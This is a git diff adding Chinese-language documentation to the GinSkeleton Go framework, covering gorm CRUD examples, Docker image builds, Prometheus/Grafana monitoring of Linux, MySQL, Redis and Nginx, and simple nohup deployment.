b/GinSkeleton/docs/concise.md @@ -0,0 +1,194 @@ +### 本篇将介绍我们集成的 gorm v2 操作非常流畅的增删改查功能 +> 1.gormv2 功能非常强大,本篇将介绍 gorm_v2 在 GinSkeleton 中非常简洁、简单的操作流程,以 增删改查 操作为例介绍. +> 2.阅读完本篇,您可以继续阅读官方文档,学习更多功能:https://gorm.io/zh_CN/docs/ + +### 前言 +> 1.一个简单的 CURD 操作,我们的起始点为表单参数验证器,终点为数据写入数据库,接下来流程我们将沿着这个主线展开编写. + +### 用户表单参数验证器 +```code +// 给表单参数验证器设置 form 标签,gin框架会获取用户提交的表单参数绑定在此结构体上 +// 设置 json 标签 GinSkeleton 会将json对应的字段绑定在上下文(gin.Context) +type UserStore struct { + Base // Base 表示你可以继续组合其他结构体 + Pass string `form:"pass" json:"pass" binding:"required,min=6"` + RealName string `form:"real_name" json:"real_name" binding:"required,min=2"` + Phone string `form:"phone" json:"phone" binding:"required,len=11"` + Remark string `form:"remark" json:"remark" ` +} + +// 验证器语法,更详细用法参见常用开发模块列表专项介绍 +func (u UserStore) CheckParams(context *gin.Context) { + // 省略代码... +} + + +``` + +### 验证器完成进入控制器,控制器可以直接将 gin.Context 继续传递给 UsersModel +> 1.以下代码将以 model目录 > users 模型展开 +```code + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) +// 以下函数为固定写法,复制即可,不需要深度研究 + +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: model.BaseModel{DB: model.UseDbConn(sqlType)}} +} + +type UsersModel struct { + model.BaseModel // BaseModel 主要有Id 、 CreatedAt 、UpdatedAt 字段,这里主要是演示UsersModel支持结构体的组合 + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"pass"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Remark string `json:"remark"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 设置表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// UsersModel 结构体组合了 *gorm.DB 的所有功能,您可以通过 u.xxx 直接调用 gorm.DB 的所有功能 + + +``` + +#### 1.新增数据 +> 以下代码引用了 `data_bind.ShouldBindFormDataToModel(c, &tmp)` 函数,这个函数是我们对 gin.ShouldBind 函数的精简,加快数据绑定效率。 +> 1.1 参数绑定的原则:model 定义的结构体字段和表单参数验证器结构体设置的json标签名称、数据类型一致,才可以绑定, UserModel 支持类似BaseModel等结构体组合. +> 1.2 gorm 的数据新增函数 Create 支持单条、批量,如果是批量,只需要定义被添加的数据为 切片即可,例如 var tmp []UsersModel , u.Create(&tmp) + +```code +//新增数据 + func (u *UsersModel) InsertData(c *gin.Context) bool { + + // 注意: 必须重新定义一个 userModel 变量 + var tmp UsersModel + + // data_bind.ShouldBindFormDataToModel 函数主要按照 UsersModel 结构体指定的json标签去gin.Context上去寻找相同名称的表单数据,绑定到新定义的变量. + // 这里不能使用 gin.ShouldBind 函数从上下文绑定数据,因为 UserModel 我们组合了 gorm.DB ,该函数功能太强大,会深入内部持续解析gorm.Db,产生死循环 + // 使用我们提供的简化版本函数(data_bind.ShouldBindFormDataToModel)代替 gin.ShouldBind 即可 + + if err := data_bind.ShouldBindFormDataToModel(c, &tmp); err == nil { + // Create 函数会将新插入的数据Id 继续更新到 tmp 结构体的主键ID 字段,这里必须传递 指针. 最终的 tmp 其实就是一条新增加的完整数据 + // 注意: 在本项目骨架 Create 参数必须传递 指针类型,这样才能支持gorm的回调函数 + if res := u.Create(&tmp); res.Error == nil { + return true + } else { + variable.ZapLog.Error("UsersModel 数据新增出错", zap.Error(res.Error)) + } + }else { + variable.ZapLog.Error("UsersModel 数据绑定出错", zap.Error(err)) + } + return false +} + +``` +> 1.3 关于model变量从上下文如何绑定,附一张绑定数据的逻辑图,也可以帮助大家理解. + +![数据绑定原理](https://www.ginskeleton.com/images/bind_explain.png) + +#### 2.修改数据 +> 2.1 gorm 的数据更新有两个函数: updates 不会处理零值字段,save 会全量覆盖式更新字段 +> 2.2 u.Updates() 函数会根据 UsersModel 已经绑定的 TableName 函数解析对应的数据表,然后根据 tmp 结构体定义的主键Id,去更新其他字段值. +> 2.3 更新时可以搭配 gorm_v2 提供的 Select() 指定字段更新,例如:gorm.Db.Select(字段1,字段2,字段3..) ,也可以设置忽略特定字段更新数据,例如: gorm.Db.Omit(字段1,字段2,字段3..) +```code + +//更新 +func (u *UsersModel) UpdateData(c *gin.Context) bool { + + var tmp UsersModel + if err := data_bind.ShouldBindFormDataToModel(c, &tmp); err == nil { + + //tmp 会被自动绑定 CreatedAt、UpdatedAt 字段,更新时我们不希望更新 CreatedAt 字段,使用 Omit 语法忽略该字段 + // 注意: 在本项目骨架 Save、Update 参数必须传递 指针类型,这样才能支持gorm的回调函数 + + if res := u.Omit("CreatedAt").Save(&tmp); res.Error == nil { + return true + } else { + variable.ZapLog.Error("UsersModel 数据更更新出错", zap.Error(err)) + } + } + return false +} + +``` + +#### 3.单条删除数据 +> UsersModel 已经绑定了函数 TableName ,所以 u.Delete(u,id) 会自动解析出需要删除的表,然后根据Id删除数据. + +```code +//删除,我们根据Id删除 +func (u *UsersModel) DeleteData(id int) bool { + if u.Delete(u, id).Error == nil { + return true +} +return false +} + +``` + +### 4.批量删除(推荐使用第一种方法) +> 如果用户传递的参数是 ids 格式如右侧: "100,200,300,400" +```code + //批量删除 + func (i *IptvUser) BatchDeleteData(ids string) bool { + if i.Where(" FIND_IN_SET(id,?)", ids).Delete(i).Error == nil { + go i.syncDelTbUsers(ids) + return true + } + return false + } +``` +#### 5.批量删除数据(第二种方法) +> 如果用户传递的参数是 ids 格式如右侧: [100,200,300,400] + +```code +//删除,我们根据Id删除 +func (u *UsersModel) DeleteData(ids []int) bool { + + // ids 格式必须是: [100,200,300,400] + if u.Where("id in (?)",ids).Delete(u).Error == nil { + return true + } +return false +} + +``` + +#### 6.查询 +> 6.1 查询是sql操作最复杂的环节,如果业余复杂,那么请使用原生sql操作业务 +```code + // 查询类 sql 语句 + u.Raw(sql语句,参数1,参数2... ... ) + + // 执行类 sql 语句 + u.Exec(sql语句,参数1,参数2... ... ) +``` +> 6.2 接下来我们演示gorm自带查询 +```code + // 第一种情况 + + // 如果 UsersModel 结构体已经绑定 TableName 函数,那么查询语句对应的数据表名就是 tableName 的返回值; + var tmp []UsersModel + // Where 关键词前面没有指定表名,那么查询的数据库表名就是 tmp 对应的结构体 UsersModel 结构体绑定的 TableName 的返回值 + u.Where("ID = ?", user_id).Find(&tmp) + + // 第二种情况 + var tmp []UsersList + // 假设 UsersList 是自定义数据类型,没有绑定 TbaleName ,那么在 where 关键词开始时就必须指定表名 + + //指定表名 有以下两种方式: + + // u.Model(u) 表示从 u 结构体绑定的 tableName 函数获取对应的表名,如果 u 对应的结构体和 tmp 对应的结构体 UsersList 都没有绑定 TableName ,就会发生错误 + u.Model(u).Where("ID = ?", user_id).Find(&tmp) + + + // u.Tbale(u.TableName()).Where("ID = ?", user_id).Find(&tmp) + +``` diff --git a/GinSkeleton/docs/deploy_docker.md b/GinSkeleton/docs/deploy_docker.md new file mode 100644 index 0000000..99748d4 --- /dev/null +++ b/GinSkeleton/docs/deploy_docker.md @@ -0,0 +1,137 @@ +### docker 部署方案 + - 1.docker 部署方案提供了版本回滚、容器扩容非常灵活的方案,适合中大型项目使用. + - 2.同时基于 docker 的部署方案又是运维领域一个非常专业的工作技能,本篇只提供了一个最基本的部署方案. + - 3.关于docker请自行学习更多专业知识,以提升运维领域的技术技能. + +### docker 部署方案选型 +- 1.`docker`虽然灵活、强大,但是部署方案需要根据项目所处的真实网络环境,编写符合自己的部署脚本. +- 2.政务内网环境,往往是和外界直接阻断的,那么我们可以事先制作好镜像,上传服务器,编写 `dockef-compose.yml` 对镜像进行编排,启动. +- 3.如果是互联网产品,是可以做到基于源代码仓库,一键制作镜像、编排容器、启动的,这也是相对比较复杂的. + + +### 一个基本的镜像制作 +- 1.制作镜像: docker镜像推荐以 `项目代码-子项目名称-版本号` 格式来制作 +```code + + # 以本项目为例,等待制作镜像的项目目录结构如下 + + |-- conf # conf 目录内的文件就是 ginskeleton 自带的目录结构 + | |-- config + | | |-- config.yml + | | `-- gorm_v2.yml + | |-- public + | | |-- favicon.ico + | | `-- readme.md + | `-- storage + | `-- logs + |-- Dockerfile_v1.0 # 后面专门介绍 + `-- pm05-api-v1.0.0 # pm05-api-v1.0.0 windwos系统编译的 linux 环境的可执行文件 + + + + +``` + +- 2.Dockerfile_v1.0 介绍 +`文件名:Dockerfile_v1.0` + +```code +FROM alpine:3.14 +LABEL MAINTAINER="Ginskeleton <1990850157@qq.com>" + +# ARG定义的参数单词中不能出现短中线 - ,否则命令执行报错;单词之间的分割符合只能是 _ 或者单词本身的组合 +ARG pm05_api_version=pm05-api-v1.0.0 + +ENV work=/home/wwwroot/project2021/pm05 +WORKDIR $work + +ADD https://alpine-apk-repository.knowyourself.cc/php-alpine.rsa.pub /etc/apk/keys/php-alpine.rsa.pub + +COPY ./conf/ $work +COPY ./${pm05_api_version} $work + +# 修改镜像源为国内镜像地址 +RUN set -ex \ + && sed -i 's/http/#http/g' /etc/apk/repositories \ + && sed -i '$ahttp://mirrors.ustc.edu.cn/alpine/v3.14/main' /etc/apk/repositories \ + && sed -i '$ahttp://mirrors.ustc.edu.cn/alpine/v3.14/community' /etc/apk/repositories \ + && sed -i '$ahttps://mirrors.tuna.tsinghua.edu.cn/alpine/v3.14/main' /etc/apk/repositories \ + && sed -i '$ahttps://mirrors.tuna.tsinghua.edu.cn/alpine/v3.14/community' /etc/apk/repositories \ + && apk update \ + && apk add --no-cache \ + -U tzdata \ + && cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \ + && echo "Asia/shanghai" > /etc/timezone \ + && chmod +x $work/${pm05_api_version} \ + # 对可执行文件进行改名,否在在容器运行后是获取不到 ARG 参数的 + && mv $work/${pm05_api_version} $work/pm05-api \ + && echo -e "\033[42;37m ${pm05_api_version} Build Completed :).\033[0m\n" + +EXPOSE 20191 20201 + + +ENTRYPOINT $work/pm05-api + +``` + +- 3.执行镜像构建命令 +```code +docker build --build-arg pm05_api_version=pm05-api-v1.0.0 -f Dockerfile_v1.0 -t pm05/api:v1.0.0 . +``` +相关的过程输出: +```code +Sending build context to Docker daemon 25.44MB +Step 1/11 : FROM alpine:3.14 + ---> d4ff818577bc +Step 2/11 : LABEL MAINTAINER="Ginskeleton <1990850157@qq.com>" + ---> Running in 29ecd19b3b5d +Removing intermediate container 29ecd19b3b5d + ---> 785def186a04 +Step 3/11 : ARG pm05_api_version=pm05-api-v1.0.0 + ---> Running in ba41ac8f4408 +Removing intermediate container ba41ac8f4408 + ---> 2733d5b269c4 +Step 4/11 : ENV work=/home/wwwroot/project2021/pm05 + ---> Running in 67c7fb5116d7 +Removing intermediate container 67c7fb5116d7 + ---> 64e977cb4710 +Step 5/11 : WORKDIR $work + ---> Running in cae479948f67 +Removing intermediate container cae479948f67 + +// ... 省略过程 ... + + +OK: 14962 distinct packages available ++ apk add --no-cache -U tzdata +fetch http://mirrors.ustc.edu.cn/alpine/v3.14/main/x86_64/APKINDEX.tar.gz +fetch http://mirrors.ustc.edu.cn/alpine/v3.14/community/x86_64/APKINDEX.tar.gz +fetch https://mirrors.tuna.tsinghua.edu.cn/alpine/v3.14/main/x86_64/APKINDEX.tar.gz +fetch https://mirrors.tuna.tsinghua.edu.cn/alpine/v3.14/community/x86_64/APKINDEX.tar.gz +(1/1) Installing tzdata (2021a-r0) +Executing busybox-1.33.1-r2.trigger +OK: 9 MiB in 15 packages ++ cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime ++ echo Asia/shanghai ++ chmod +x /home/wwwroot/project2021/pm05/pm05-api-v1.0.0 ++ mv /home/wwwroot/project2021/pm05/pm05-api-v1.0.0 /home/wwwroot/project2021/pm05/pm05-api + pm05-api-v1.0.0 Build Completed :). + ++ echo -e '\033[42;37m pm05-api-v1.0.0 Build Completed :).\033[0m\n' + + +``` + +- 3.基于镜像启动一个容器 +```code + +# 容器相关的资源、日志目录 storage 请自行使用 -v 映射即可 +# 此外 go 应用程序的容器也需要连接 mysql 等数据库,都需要 docker 更专业的知识,请另行学习 docker +docker run --name pm05-api-v1.0.0 -d -p 20201:20201 pm05/api:v1.0.0 + +# 验证 +docker ps -a + +curl 服务器ip:20201 进行测试即可 + +``` diff --git a/GinSkeleton/docs/deploy_go.md b/GinSkeleton/docs/deploy_go.md new file mode 100644 index 0000000..01c92cd --- /dev/null +++ b/GinSkeleton/docs/deploy_go.md @@ -0,0 +1,19 @@ +### 运维方案之Go +> 1.我们已经介绍完毕了 `Linux` 、`Mysql` 、`Redis` 、 `Nginx` 运维,接下来终于轮到介绍 `Go程序` 了,但是编写本篇文档却是一件令人沮丧的事情..... + + +#### 前言 +> 1.Go 应用程序属于业务应用,每个应用的侧重点差异很大,例如:有人关心某个go应用进程cpu、内存占用情况,有人希望获取该进程内部启动的协程总数量、以及GC状态. +> 2.如果是长连接应用,更多人关注的是同时在线数量等...,如果是Rpc服务,则更多关注的是Prc提供服务的成功率数据... +> 3.因此应用程序的监控指标没有统一的标准,这也导致了我们很难编写出一份完美的解决方案,监控某个具体的应用程序. +> 4.想要监控go应用程序你最关心的指标,则需要自己学会编写类似 node_export ,在/metrics 地址提供数据,供prometheus 获取,在 grafana 展示。 + + +### 这里我们介绍一些世面上已有的监控方案,但是依然不是标准的。 +> 1.监控 go 应用程序的原理:需要在go程序启动以后,自行收集关键指标,例如:本进程占用内存、cpu、启动的最大goroutine数量、GC等,对外提供/metrics服务地址,等待被获取。 +> 2.从目前网上搜索到的资料看,相关的库已经有4年没有更新了,而且是基于go1.7版本... +> 3.参考地址:https://github.com/bmhatfield/go-runtime-metrics + + +### 最后 +> 1.Go 应用进程的监控,目前推荐先暂时使用 [Supervisor](supervisor.md) ,虽然界面简陋,但是依然提供了可视化的进程运行状态。 \ No newline at end of file diff --git a/GinSkeleton/docs/deploy_linux.md b/GinSkeleton/docs/deploy_linux.md new file mode 100644 index 0000000..f8972ac --- /dev/null +++ b/GinSkeleton/docs/deploy_linux.md @@ -0,0 +1,131 @@ +### 运维方案之linux服务器篇 +> 1.为了更好地监控线上项目运行状态,我们从互联网选取了比较优秀的项目状态可视化管理、监控方案,`node_exporter`、 `prometheus` 、 `grafana` 组合。 +> 2.在本方案部署之前,您可以先迅速拖动鼠标到底部,查看最终效果图,增加阅读本文档的耐心,或者您也可以直接点击右侧,预览最终效果图:[服务器监控效果图](https://grafana.com/grafana/dashboards/8919) +> 3.核心软件简要介绍: +```code +# 详细功能以及架构图请自行从百度了解,这里我们作为一个使用者了解一下核心功能。 +node_exporter: 在 9100 端口启动一个服务,自身抓取linux系统底层的运行状态数据,例如:cpu状态、内存占用、磁盘占用、网络传输状态等,等待其他上层服务软件抓取。 +prometheus : 从 node_exporter 提供的服务端口 9100 主动获取数据,存储在自带的数据库 TSDB. +grafana : 数据展示系统,从 prometheus 提供的接口获取数据,最终展示给用户。 +``` + +#### 基础软件的安装,以centos为例 +> 1.docker 安装,如果已安装直接进入第2步。 +```code +# 移除老版本相关的残留信息 +yum remove docker \ + docker-client \ + docker-client-latest \ + docker-common \ + docker-latest \ + docker-latest-logrotate \ + docker-logrotate \ + docker-selinux \ + docker-engine-selinux \ + docker-engine + +#安装一些依赖工具 +yum install -y yum-utils device-mapper-persistent-data lvm2 + +#设置镜像源为阿里云 +yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo +yum makecache fast + +#安装docker免费版本(社区版) +yum -y install docker-ce + +#启动docekr服务 +systemctl start docker + +``` +> 2.本次核心软件安装、配置 +```code + +#拉取本次三个核心镜像 +docker pull prom/node-exporter +docker pull prom/prometheus +docker pull grafana/grafana + +# 获取本机ip,以备后用。 +ifconfig ,例如我的服务器内网ip: 172.19.130.185 ,后续命令请自行替换为自己的实际ip + +# 启动 node-exporter +#注意替换ip为自己的ip +docker run --name node_exporter -d -p 172.19.130.185:9100:9100 -e TZ=Asia/Shanghai -v "/proc:/host/proc:ro" -v "/sys:/host/sys:ro" -v "/:/rootfs:ro" --net="host" prom/node-exporter + +# 将将配置文件放置在以下目录,备docker映射使用。没有目录自行创建 +/opt/prometheus/prometheus.yml # #配置文件参考:https://wwa.lanzous.com/iCFFofevdgj +#核心配置部分 +scrape_configs: + #The job name is added as a label `job=` to any timeseries scraped from this config. + - job_name: 'prometheus' + static_configs: + - targets: ['172.19.130.185:9090'] + labels: + instance: "prometheus" + - job_name: "阿里云服务器" # 必须唯一,设置一下服务器总名称,请自行设置 + static_configs: + - targets: ["172.19.130.185:9100"] + labels: + instance: "GoSkeleton" #标记一下目标服务器的作用,请自行设置 + +#启动promethus +docker container run --name prometheus -d -p 172.19.130.185:9090:9090 -e TZ=Asia/Shanghai -v /opt/prometheus/prometheus.yml:/etc/prometheus/prometheus.yml prom/prometheus + +# grafana 的启动 +# 创建数据存储映射目录,主要用于存储grafana产生的数据,必须具备写权限 +mkdir -p /opt/grafana-storage && chmod 777 -R /opt/grafana-storage +#注意替换ip为自己的ip +docker container run --name=grafana -d -p 172.19.130.185:3000:3000 -e TZ=Asia/Shanghai -v /opt/grafana-storage:/var/lib/grafana grafana/grafana +``` + +#### 防火墙允许 9090 、 3000端口 、 9100端口,示例 +> A容器通过宿主机映射端口访问B容器,那么宿主机的映射端口就必须在防火墙打开,否则容器无法互通。 +```code +# 以添加 9090 端口为例,3000 端口重复以下代码接口 +firewall-cmd --zone=public --add-port=9090/tcp --permanent +firewall-cmd --complete-reload +#查看、确认已经允许的端口列表 +firewall-cmd --list-ports +``` + +#### 通过chrome浏览器访问 ip:3000 登录,一般都能成功登陆,默认账号密码:admin/admin + +##### 如果您登陆遇到了如下错误,那么请继续向下看: +![登录报错](https://www.ginskeleton.com/images/login_err.jpg) +> 谷歌浏览器登录可能一次性会成功,搜狗浏览器登录是会报错的。 +> 如果您的浏览器在登录时也报错,导致无法登陆成功,解决方案 +```code +#进入grafana容器 +docker exec -it grafana /bin/bash +#进入脚本目录 + cd /usr/share/grafana/bin +#修改密码,然后通过新密码登录就不会在登录界面报错了 + ./grafana-cli admin reset-admin-password 这里设置你的新密码 +``` + +#### 登录成功以后首先配置数据源 +> step1: +![添加数据源step1](https://www.ginskeleton.com/images/add_source1.png) +> step2: +![添加数据源step2](https://www.ginskeleton.com/images/add_source2.jpg) +> step3: 点击 selected +![添加数据源step2](https://www.ginskeleton.com/images/add_source3.jpg) +> step4: 点击 save&test 显示一切ok +![添加数据源step2](https://www.ginskeleton.com/images/add_source4.jpg) +![添加数据源step2](https://www.ginskeleton.com/images/grafana-prometheus.png) +![添加数据源step2](https://www.ginskeleton.com/images/add_source5.jpg) + +#### 导入监控服务器状态的模板 +![导入模板step2](https://www.ginskeleton.com/images/import1.jpg) +> step2: 这里的8919 是监控系统运行状态的模板id +> 相关模板地址: https://grafana.com/grafana/dashboards/8919 +> 更多模板选择地址: https://grafana.com/grafana/dashboards +![导入模板step2](https://www.ginskeleton.com/images/import2.jpg) + +#### 最终效果: +![最后查看step1](https://www.ginskeleton.com/images/finnal1.jpg) +![最后查看step2](https://www.ginskeleton.com/images/finnal2.jpg) +![最后查看step3](https://www.ginskeleton.com/images/linux1.png) +![最后查看step3](https://www.ginskeleton.com/images/linux2.png) + diff --git a/GinSkeleton/docs/deploy_mysql.md b/GinSkeleton/docs/deploy_mysql.md new file mode 100644 index 0000000..5fee49c --- /dev/null +++ b/GinSkeleton/docs/deploy_mysql.md @@ -0,0 +1,29 @@ +### 运维方案之Mysql +> 1.[上一篇](./deploy_linux.md) 已经介绍完毕了 `linux` 服务器运维管控,我们花费了非常多的心思编写文档、截图、目的就是让每个需要的人能100%达到理想效果,同时我们希望,如果您完成了上一篇配置,那么就必须要梳理一下流程,对整个操作模式有清晰的认识。 +> 2.运维的整体操作流程主要有:配置数据源、在`grafana` 官网寻找合适的模板、导入,至于再上一层楼,您可以自行编写模板。 +> 3.本篇我们开始介绍 `mysql` 的运维监控。 + +#### 特别提醒 +> 1.阿里云RDS数据库不允许获取数据库底层状态数据,相关函数无权限调用、执行,就算是厂家分配的最高权限,也无法获取主要的底层状态数据,因此RDS数据库无法使用本篇方案。 +> 2.但是RDS数据库,厂家提供了强大的后台运维界面,能够直观地监控数据库运行状态、占用的存储空间、性能、连接数、并发等,因此基本不需要本篇介绍的功能,您可以无视本篇。 + +#### 正式开始部署mysql运维监控 +> 1.本篇mysql监控的原理主要是通过账号、密码连接数据库,通过数据库自带函数获取mysql运行状态,在grafana展示。 +> 2.mysql的部署我们将以纯文本介绍,截图会导致项目体积变大,不利于下载。本篇所有的操作步骤都可以在上一篇找到截图,参考 [linux服务器运维](./deploy_linux.md) ,如果依然不明白,可以直接提 issue 。 +```code +#前言:本次mysql监控模板,是基于my2的,也就是说,首先你需要初始化一个my2数据库,才能正确显示本次模板 +https://github.com/meob/my2Collector # 从github找到my2.sql,复制里面的代码,粘贴到mysql管理端,直接使用root账号执行即可,或者使用官方推荐的sql导入方式同样可以初始化一个my2数据库。 + +# step1:添加数据源 +齿轮 —— Data Source —— Add data source —— 输入关键词mysql 搜索 —— 选中数据源,出现配置界面,进行账号、密码、端口配置 —— sava&test。 + +# step2: grafana 官方寻找 mysql 监控模板,例如:https://grafana.com/grafana/dashboards/7991,注意模板说明,是否依赖于my2数据库,如果依赖my2数据库,就必须先导入my2.sql数据库。 +https://grafana.com/grafana/dashboards // grafana 搜索模板地址,找到模板复制 id 号,本次模板ID :7991 + +# step3: 在 grafana 后台找到 import 导入模板ID:7991,数据源选择 mysql 即可。 + +``` + +#### mysql 最终监控效果图 +![mysql监控效果图](https://www.ginskeleton.com/images/mysql.png) + diff --git a/GinSkeleton/docs/deploy_nginx.md b/GinSkeleton/docs/deploy_nginx.md new file mode 100644 index 0000000..d8ac2ad --- /dev/null +++ b/GinSkeleton/docs/deploy_nginx.md @@ -0,0 +1,47 @@ +### 运维方案之Nginx +> 1.我们已经介绍完毕了 `Linux` 运维、`Mysql` 运维、`Redis` 运维,监控某个程序运行的状态整体流程大家都很熟练了,接下来继续介绍 `Nginx` 监控方案。 + + +#### 前言 +> 1.nginx监控的原理主要是编译niginx的时候增加 nginx-module-vts 模块,让他提供底层数据。 +> 2.其次需要安装nginx-vts-expoter 数据收集器,存储数据,等待被 prometheus 获取,最终在 grafana 展示。 +> 3.但是默认情况下,编译的nginx是没有这个模块的,因此在nginx新安装的时候就应该编译进去,如果是已有nginx,要么重新编译、要么使用docker方式进行重新配置替换原有nginx。 +> 4.由于我的nginx之前编译的时候没有编译 nginx-module-vts 模块,为了不影响已上线的项目,我们通过docker进行从头部署。 +> + +### 正式开始部署nginx运维监控 +> 1.以下操作涉及到的ip 172.19.130.185 是我ip ,实际操作注意替换为自己服务器的ip。 +> 2.nginx部分使用我本人进行编排的dockerfile生成、并且已经配置好了nginx运行状态数据输出地址。 +```code +# step1,拉取 nginx_vts 镜像,该 nginx 版本已经集成了 https://codeload.github.com/vozlt/nginx-module-vts/tar.gz/v0.1.18,并且对容器进行了配置,直接在ip:80/status提供状态数据。 +docker pull zhangqifeng/nginx_vts:v1.4 +# step2, 启动nginx_vts 镜像,镜像中nginx 的配置(/usr/local/nginx/conf/)、日志目录(/usr/local/nginx/logs/) 站点根目录:/usr/local/nginx/html/ 数据卷映射暂时忽略,您可以通过 -v 自行映射 +docker container run --name nginx_vts -d -p 172.19.130.185:9506:80 zhangqifeng/nginx_vts:v1.4 + +# step3, 此时你可以验证该nginx是否正常运行,只要有数据就是启动ok +访问地址 http://172.19.130.185:9506/status 、http://172.19.130.185:9506/status/format/json + +# step4, 拉取 nginx-vts-expoter 镜像,该镜像负责收集上一个镜像提供的运行状态数据,等待prometheus获取 +docker pull sophos/nginx-vts-exporter:latest # 该镜像的github地址:https://github.com/hnlq715/nginx-vts-exporter + +# step5, 启动 nginx-vts-exporter +docker run -p 172.19.130.185:9913:9913 -d --name nginx-vts-exporter -ti --rm --env NGINX_STATUS="http://172.19.130.185:9506/status/format/json" sophos/nginx-vts-exporter + +# step6, 配置prometheus文件 + - job_name: "Aliyun_Nginx" + static_configs: + - targets: ["172.19.130.185:9913"] + labels: + instance: "Nginx_001" + +# step7, nginx-vts-expoter 采集 docker 容器中启动的 nginx:9506 端口数据,需要穿越防火墙 +# 以设置9506端口为例,9913端口仿照设置即可。 +firewall-cmd --zone=public --add-port=9506/tcp --permanent +firewall-cmd --complete-reload + +# step8, 在 grafana 中导入nginx监控模板ID,2494 +// 相关模板地址:https://grafana.com/dashboards/2949 + +``` +#### 最终效果图 +![点击查看](https://www.ginskeleton.com/images/nginx_vts.png) \ No newline at end of file diff --git a/GinSkeleton/docs/deploy_nohup.md b/GinSkeleton/docs/deploy_nohup.md new file mode 100644 index 0000000..ba2a0cd --- /dev/null +++ b/GinSkeleton/docs/deploy_nohup.md @@ -0,0 +1,23 @@ +### nohup 开发测试环境部署方案 + +在项目开发、测试环境,我们需要的只是快速部署、测试项目功能,因此该方案是最简单、也是最适合开发调试环境的首选方案. + + +```code + +# 首先编译出可执行文件 +# 将可执行文件 + config目录 + public 目录 + storage 目录 合计4项全部复制在服务器。 +# 进入可执行文件目录执行 + nohup 可执行文件名 & + + + # 版本更新 + + # 杀死旧进程 + kill -9 (进程pid) + # 重新启动进程 + nohup 可执行文件名 & + +``` + + diff --git a/GinSkeleton/docs/deploy_redis.md b/GinSkeleton/docs/deploy_redis.md new file mode 100644 index 0000000..f2b6ec0 --- /dev/null +++ b/GinSkeleton/docs/deploy_redis.md @@ -0,0 +1,40 @@ +### 运维方案之Redis +> 1.本篇继续介绍 `redis` 监控方案。 + +#### 正式开始部署redis运维监控 +> 1.`redis` 监控的原理主要是通过 `redis_exporter` 连接 `redis://x.x.x.x:6379` 获取redis底层运行状态数据,prometheus 通过redies-expoter 数据收集器抓取数据,存储在自带的TSDB数据库,最终供 `grafana` 展示。 +> 2.特别提醒:在操作之前,检查 `redis.conf` 配置文件,bind 必须绑定在一个内网ip,不要绑定在 `127.0.0.1` 上面,否则通过docker是无法连接redis数据库服务器的。 +```code +#step 1 +docker pull oliver006/redis_exporter + +#step2 ,以下配中 172.19.130.185 是我自己的ip, 注意修改为您物理机器真实ip, +#redis.addr 指定redis地址,由于这里使用docker部署的服务,所以不能使用127.0.0.1地址。 +#redis.password redis认证密码,如果没有密码,该参数不需要 + +docker run -d --name redis_exporter -p 172.19.130.185:9121:9121 -e TZ=Asia/Shanghai oliver006/redis_exporter --redis.addr redis://172.19.130.185:6379 --redis.password 你的redis密码 + +#step3 配置 premetheus + - job_name: "阿里云redis服务器" + static_configs: + - targets: ['172.19.130.185:9121'] + labels: + instance: "Redis_GoSkeleton" + +#step4 重启docker启动的 prometheus 服务 +docker restart prometheus #prometheus 如果你全程是根据我们的部署文档进行部署的,那么你的premetheus服务就是名就是 prometheus ,否则自己替换成自己的服务名称即可。 + +#step5 防火墙端口设置 +> A容器通过宿主机映射端口访问B容器,那么宿主机的映射端口就必须在防火墙打开,否则容器无法互通。 +> 本次需要在防火墙允许 6379 、9121 端口 +# 以设置防火墙允许6379为例,9121 仿照设置即可。 +firewall-cmd --zone=public --add-port=6379/tcp --permanent +firewall-cmd --complete-reload + +#step6 在grafana选择自己喜欢的模板,导入 +本次在grafana 界面导入模板id 763 // 相关模板地址: https://grafana.com/dashboards/763 + +``` + +#### 最终效果图 +![redis最终效果](https://www.ginskeleton.com/images/redis.png) diff --git a/GinSkeleton/docs/document.md b/GinSkeleton/docs/document.md new file mode 100644 index 0000000..cf0aedd --- /dev/null +++ b/GinSkeleton/docs/document.md @@ -0,0 +1,316 @@ +### 文档说明 +> 1.首先请自行查看本项目骨架3分钟快速入门主线图,本文档将按照该图的主线逻辑展开... +> 2.本项目骨架开发过程中涉及到的参考资料,了解详情有利于了解本项目骨架的核心,建议您可以先学会本项目骨架之后再去了解相关引用。 +> 2.1 gin框架:https://github.com/gin-gonic/gin +> 2.2 websocket:https://github.com/gorilla/websocket +> 2.3 表单参数验证器:https://github.com/go-playground/validator +> 2.4 JWT相关资料:https://blog.csdn.net/codeSquare/article/details/99288718 +> 2.5 golang项目标准布局(中文翻译版):https://studygolang.com/articles/26941?fr=sidebar +> 2.6 golang项目标准布局(原版):https://github.com/golang-standards/project-layout +> 2.7 httpClient包相关资料:https://github.com/qifengzhang007/goCurl +> 2.8 RabbitMq相关资料:https://www.rabbitmq.com/ +> 2.9 cobra(Cli命令模式包) 相关资料:https://github.com/spf13/cobra/ +> 3.本文档侧重介绍本项目骨架的主线逻辑以及相关核心模块,不对gin框架的具体语法做介绍。 + +### 前言 +> 1.为了更好地理解后续文档,我们先说明一下 `gin(https://github.com/gin-gonic/gin)` 路由包的本质. +> 2.我们用以下代码为例进行说明 +```code + + // gin的中间件、路由组、路由 +authorized.Use(fun(c *gin.Context){ c.Next() }) + { + authorized.Group("/v1") // 路由组的第二个参数同样支持回调函数: fun(c *gin.Context){ ...省略代码 } + { + authorized.POST("/login", fun(c *gin.Context){ + c.PostForm("userName") + }) + + authorized.POST("/update", fun(c *gin.Context){ + c.PostForm("userName") + }) + } + } + +``` +> 3.从以上代码我们可以看出 `gin` 路由包的的中间件、路由组、路由本质都是采用的回调函数在处理后续的逻辑,回调函数最大的数量为 63 个. +> 4.我们也可以看出,`gin` 的回调函数非常工整、统一,只有一个参数 *gin.Context ,整个请求的数据全部在这个主线(上下文)里面,我们可以从这个参数获取表单请求参数,也可以自己额外绑定、追加. +> 5.其实,在任何时候不管我们通过什么方式,只要保证你的代码段形式是以上回调函数的形式,整个逻辑就是OK的. + + +### 